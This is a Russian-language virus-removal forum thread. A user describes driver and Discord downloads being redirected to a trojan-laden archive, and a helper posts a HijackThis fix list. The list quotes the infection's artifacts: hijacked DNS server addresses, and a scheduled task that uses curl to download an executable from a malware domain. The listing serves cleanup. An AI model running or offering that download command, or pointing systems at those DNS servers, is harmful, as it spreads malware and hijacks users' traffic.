Printable View
При загрузке, к примеру, драйверов с nvidia.com, также установщика discord, идёт перенаправление на страницу с таким оформлением (скриншот приложил) и скачивается zip архив, содержащий вирус с пакетом программ от Mail.ru. После заражения от файла с Nvidia, кое как подчистил систему от софта Mail.ru, но не уверен, что до конца
На данный момент Dr.Web не распознает в архиве с Nvidia вирус. В архиве с discordapp.com он видит Trojan.Load.Money.2995
Уважаемый(ая) [B]afk24[/B], спасибо за обращение на наш форум!
Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].
[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]
Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
Google-drive тоже подменён
Запустите HijackThis, расположенный в папке Autologger и [url="http://virusinfo.info/showthread.php?t=4491"]пофиксите[/url] (в [B]Windows Vista/7/8/10[/B] необходимо запускать через правую кнопку мыши [B]Запуск от имени администратора)[/B]):[code]O17 - HKLM\System\CCS\Services\Tcpip\..\{88b75cd9-bb8e-4ab9-bc13-f742de095c5f}: NameServer = 178.132.6.57
O17 - HKLM\System\CCS\Services\Tcpip\..\{88b75cd9-bb8e-4ab9-bc13-f742de095c5f}: NameServer = 193.238.153.54
O17 - HKLM\System\CCS\Services\Tcpip\..\{88b75cd9-bb8e-4ab9-bc13-f742de095c5f}: NameServer = 46.101.28.31
O17 - HKLM\System\CCS\Services\Tcpip\..\{88b75cd9-bb8e-4ab9-bc13-f742de095c5f}: NameServer = 52.56.51.39
O17 - HKLM\System\CCS\Services\Tcpip\..\{88b75cd9-bb8e-4ab9-bc13-f742de095c5f}: NameServer = 82.202.226.203
O17 - HKLM\System\CCS\Services\Tcpip\..\{ba07e454-014e-45e5-8f68-219bd748756f}: NameServer = 178.132.6.57
O17 - HKLM\System\CCS\Services\Tcpip\..\{ba07e454-014e-45e5-8f68-219bd748756f}: NameServer = 193.238.153.54
O17 - HKLM\System\CCS\Services\Tcpip\..\{ba07e454-014e-45e5-8f68-219bd748756f}: NameServer = 46.101.28.31
O17 - HKLM\System\CCS\Services\Tcpip\..\{ba07e454-014e-45e5-8f68-219bd748756f}: NameServer = 52.56.51.39
O17 - HKLM\System\CCS\Services\Tcpip\..\{ba07e454-014e-45e5-8f68-219bd748756f}: NameServer = 82.202.226.203
O21-32 - ShellServiceObjectDelayLoad: (no name) - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - (no file) (file missing)
O22 - Task: curl - C:\Users\AfK\AppData\Roaming\curl\curl_7_54.exe -f -L http://amtomil.ru/f.exe -o C:\Users\AfK\AppData\Roaming\curl\curl.exe
O22 - Task: setupsk - C:\Users\AfK\AppData\Roaming\setupsk\python\pythonw.exe "C:\Users\AfK\AppData\Roaming\setupsk\ml.py" --APPNAME="setupsk" (file missing)
O22 - Task: setupsk_upd - C:\Users\AfK\AppData\Roaming\SETUPS~1\python\pythonw.exe "C:\Users\AfK\AppData\Roaming\SETUPS~1\ml.py" --APPNAME="setupsk_upd" (file missing)
O23 - Service S2: SvcHost Service Host - C:\Windows\Microsoft\svchost.exe (file missing)[/code]
[URL="http://virusinfo.info/showthread.php?t=128635&p=968385&viewfull=1#post968385"]Очистите кэш и cookies-файлы браузеров и кэш DNS[/URL].
Сообщите, что с проблемой.
Настойчиво рекомендую не использовать два антивируса одновременно, чревато сбоями и конфликтами, да и толку нет, как видите.
Спасибо огромное, проблема решена ! :)
2 антивируса - это мои безуспешные попытки создать хоть на чем то загрузочную флэшку для проверки диска :с Сейчас оставил только Dr.Web :)